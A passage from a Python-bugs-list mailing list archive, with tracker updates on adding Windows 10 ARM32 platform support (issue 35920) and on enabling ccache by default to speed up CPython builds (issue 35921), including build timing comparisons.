--
nosy: +cheryl.sabella

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35920] Windows 10 ARM32 platform support

[Steve Dower]

New submission from Steve Dower :

As posted at 
https://mail.python.org/pipermail/python-dev/2019-February/156229.html, add 
support for the Windows ARM32 platform.

This is related to issue33125, but we are doing ARM32 first before considering 
ARM64.

Paul Monson (Paul.Monson at microsoft.com) is implementing the support and will 
be the primary contact for Windows ARM32 support.

--
components: Windows
messages: 334972
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Windows 10 ARM32 platform support
type: enhancement
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35921] Use ccache by default

[Antoine Pitrou]

New submission from Antoine Pitrou :

While compiling CPython isn't very slow, enabling ccache if found would produce 
faster builds when developing.

--
components: Build
messages: 334973
nosy: pitrou
priority: normal
severity: normal
status: open
title: Use ccache by default
type: resource usage
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35920] Windows 10 ARM32 platform support

[Paul Monson]

Change by Paul Monson :


--
nosy: +Paul Monson

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35921] Use ccache by default

[Antoine Pitrou]

Antoine Pitrou  added the comment:

I've got a proof-of-concept patch, here are the results:

Debug build, uncached

real0m50,260s
user1m52,663s
sys 0m11,305s

Debug build, cached

real0m4,511s
user0m4,009s
sys 0m1,547s

Non-debug build, uncached

real1m18,384s
user3m19,271s
sys 0m12,319s

Non-debug build, cached

real0m4,047s
user0m3,467s
sys 0m1,621s

This is on a 16-thread CPU.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35921] Use ccache by default

[Antoine Pitrou]

Change by Antoine Pitrou :


--
keywords: +patch
pull_requests: +11743
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35921] Use ccache by default

[Antoine Pitrou]

Change by Antoine Pitrou :


--
keywords: +patch, patch, patch
pull_requests: +11743, 11744, 11745
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35921] Use ccache by default

[Antoine Pitrou]

Change by Antoine Pitrou :


--
keywords: +patch, patch
pull_requests: +11743, 11744
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35921] Use ccache by default

[Antoine Pitrou]

Antoine Pitrou  added the comment:

This is Unix-only, but the same approach may be possible on Windows using 
clcache (https://github.com/frerich/clcache).

--
nosy: +steve.dower

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35920] Windows 10 ARM32 platform support

[Roundup Robot]

Change by Roundup Robot :


--
keywords: +patch
pull_requests: +11746
stage: needs patch -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35920] Windows 10 ARM32 platform support

[Roundup Robot]

Change by Roundup Robot :


--
keywords: +patch, patch, patch
pull_requests: +11746, 11747, 11749
stage: needs patch -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com